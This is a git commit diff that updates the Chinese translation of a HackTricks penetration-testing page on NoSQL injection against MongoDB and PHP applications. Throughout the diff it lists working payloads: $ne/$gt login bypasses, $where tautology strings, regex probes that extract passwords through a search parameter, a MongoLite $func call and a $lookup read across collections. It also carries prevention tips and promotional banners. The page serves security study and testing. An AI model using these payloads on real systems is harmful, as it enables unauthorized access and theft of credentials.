Translated ['pentesting-web/nosql-injection.md'] to cn

This commit is contained in:
Translator 2024-03-03 09:50:12 +00:00
parent 2f3f2b2665
commit de3ceecba8

View file

@ -25,7 +25,7 @@
## 利用 ## 利用
在PHP中您可以通过将发送的参数从_parameter=foo_更改为_parameter\[arrName]=foo_来发送一个数组。 在PHP中您可以通过将发送的参数从_parameter=foo_更改为_parameter\[arrName\]=foo_来发送一个数组。
这些利用是基于添加一个**运算符** 这些利用是基于添加一个**运算符**
```bash ```bash
@ -56,31 +56,11 @@ username[$exists]=true&password[$exists]=true
#### **NoSQL注入** #### **NoSQL注入**
在MongoDB中NoSQL注入是一种利用应用程序对数据库查询的处理方式不当而导致的安全漏洞。与传统的SQL注入攻击不同NoSQL注入利用了NoSQL数据库的查询语言的特性例如MongoDB的查询语言。攻击者可以通过在查询中插入恶意代码来篡改查询的逻辑从而绕过身份验证、访问敏感数据或执行未经授权的操作。 在MongoDB中NoSQL注入是一种利用应用程序对数据库查询的处理方式不当而导致的安全漏洞。与传统的SQL注入攻击不同NoSQL注入利用了NoSQL数据库的查询语言特性例如MongoDB的JSON文档查询语言。攻击者可以通过在查询中插入恶意代码来绕过身份验证、访问敏感数据或执行未经授权的操作。为了防止NoSQL注入开发人员应该使用参数化查询、输入验证和最小权限原则等安全措施。
#### **NoSQL注入示例**
以下是一个简单的MongoDB查询示例
```javascript
db.users.find({username: 'admin', password: 'password123'})
```
攻击者可以利用NoSQL注入漏洞来绕过密码验证例如
```javascript
db.users.find({username: 'admin', password: {$ne: null}})
```
在这个例子中,`$ne`操作符表示不等于,攻击者可以利用这个操作符来绕过密码验证,因为`password`字段不等于`null`时查询条件将返回true从而成功绕过密码验证。
#### **防范NoSQL注入**
要防范NoSQL注入攻击开发人员应该遵循安全的编程实践包括使用参数化查询、验证所有用户输入并限制查询的权限。此外定期审查和测试应用程序的安全性也是至关重要的。
```javascript ```javascript
query = { $where: `this.username == '${username}'` } query = { $where: `this.username == '${username}'` }
``` ```
攻击者可以通过输入类似于 `admin' || 'a'=='a` 的字符串来利用这一点,使查询返回所有满足重言(`'a'=='a'`)条件的文档。这类似于 SQL 注入攻击,其中使用类似于 `' or 1=1-- -`输入来操纵 SQL 查询。在 MongoDB 中,可以使用类似于 `' || 1==1//`、`' || 1==1%00` 或 `admin' || 'a'=='a` 的输入来执行类似的注入。 攻击者可以通过输入类似于 `admin' || 'a'=='a` 的字符串来利用此漏洞,使查询返回所有满足重言(`'a'=='a'`)条件的文档。这类似于 SQL 注入攻击,其中使用 `' or 1=1-- -` 等输入来操纵 SQL 查询。在 MongoDB 中,可以使用类似于 `' || 1==1//`、`' || 1==1%00` 或 `admin' || 'a'=='a` 的输入来执行类似的注入。
``` ```
Normal sql: ' or 1=1-- - Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
@ -111,7 +91,26 @@ in JSON
``` ```
### **SQL - Mongo** ### **SQL - Mongo**
在MongoDB中NoSQL注入是一种类似于SQL注入的攻击攻击者试图篡改MongoDB数据库查询以获取未经授权的数据。攻击者可以利用不正确的输入验证或拼接查询来实现这一点。要防范NoSQL注入应该使用参数化查询和安全的ORM方法。 #### **NoSQL Injection**
NoSQL databases like MongoDB are also vulnerable to injection attacks. The injection techniques used in NoSQL databases are different from those used in traditional SQL databases. In NoSQL databases, attackers can exploit vulnerabilities like insecure object references, injection flaws, and query language injection to manipulate the database and retrieve sensitive information.
#### **NoSQL Injection Payloads**
Attackers can use payloads like the following to perform NoSQL injection attacks:
- **Payload 1:** `{"username": {"$gt": ""}, "password": {"$gt": ""}}`
- **Payload 2:** `{"$ne": null}`
- **Payload 3:** `{"$where": "function() { return true; }"}`
#### **Preventing NoSQL Injection**
To prevent NoSQL injection attacks, developers should:
- Validate and sanitize user input.
- Use parameterized queries or Object-Document Mapping (ODM) libraries.
- Implement proper access control and authentication mechanisms.
- Limit the privileges of database users to reduce the impact of a successful injection attack.
``` ```
/?search=admin' && this.password%00 --> Check if the field password exists /?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password /?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
@ -125,7 +124,7 @@ in JSON
``` ```
### PHP任意函数执行 ### PHP任意函数执行
使用[MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite)库的**$func**运算符(默认使用)可能会导致像[这份报告](https://swarm.ptsecurity.com/rce-cockpit-cms/)中描述的任意函数执行 使用[MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite)库的**$func**运算符(默认使用)可能会导致像[这份报告](https://swarm.ptsecurity.com/rce-cockpit-cms/)中描述的执行任意函数的可能性
```python ```python
"user":{"$func": "var_dump"} "user":{"$func": "var_dump"}
``` ```
@ -133,7 +132,9 @@ in JSON
### 从不同集合获取信息 ### 从不同集合获取信息
可以使用[$lookup](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/)从不同的集合中获取信息。在下面的示例中,我们正在从一个名为`users`的**不同集合**中读取数据,并获取所有密码匹配通配符的条目的结果。 可以使用[$lookup](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/)从不同的集合中获取信息。在下面的示例中,我们从一个名为`users`的**不同集合**中读取数据,并获取所有密码与通配符匹配的**条目的结果**。
**注意:** 只有在执行搜索时使用`aggregate()`函数而不是更常见的`find()`或`findOne()`函数时,才能使用`$lookup`和其他聚合函数。
```json ```json
[ [
{ {
@ -155,7 +156,7 @@ in JSON
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建并通过全球**最先进**的社区工具**自动化工作流程**。\ 使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建和**自动化工作流**,利用世界上**最先进**的社区工具。\
立即获取访问权限: 立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -284,14 +285,14 @@ get_password(u)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
支持HackTricks的其他方式 支持HackTricks的其他方式
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品 * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。 * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>